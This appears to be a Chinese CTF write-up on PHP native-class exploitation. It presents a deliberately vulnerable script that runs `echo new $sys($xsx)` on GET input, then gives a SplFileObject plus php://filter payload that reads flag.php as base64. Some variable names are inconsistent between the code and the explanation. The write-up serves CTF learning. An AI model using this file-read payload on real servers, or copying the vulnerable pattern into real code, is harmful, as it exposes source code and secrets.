摘要

PHP原生类利用

1
2
3
4
5
6
7
8
9
10
11
 <?php

highlight_file(__FILE__);
include('flag.php');
$sys = $_GET['sys'];
if (preg_match("|flag|", $xsx)) {
die("flag is no here!");
} else {
$xsx = $_GET['xsx'];
echo new $sys($xsx);
}

1.题目分析

发现echo new $sys($$xsx)。说明这是一道原生类利用的题。

php中内置很多原生的类,在CTF中常以echo new $a($b);​这种形式出现,当看到这种关键字眼时,就要考虑本题是不是需要原生类利用了。

2.解题思路

这道题是文件读取类:SplFileObject。

当用文件目录遍历到了敏感文件时,可以用SplFileObject​类,同样通过echo触发SplFileObject​中的__toString()​方法。(该类不支持通配符,所以必须先获取到完整文件名称才行)

除此之外其实SplFileObject​类,只能读取文件的第一行内容,如果想要全部读取就需要用到foreach函数,但若题目中没有给出foreach函数的话,就要用伪协议读取文件的内容。

例如:SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag

3.构造payload

1
?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php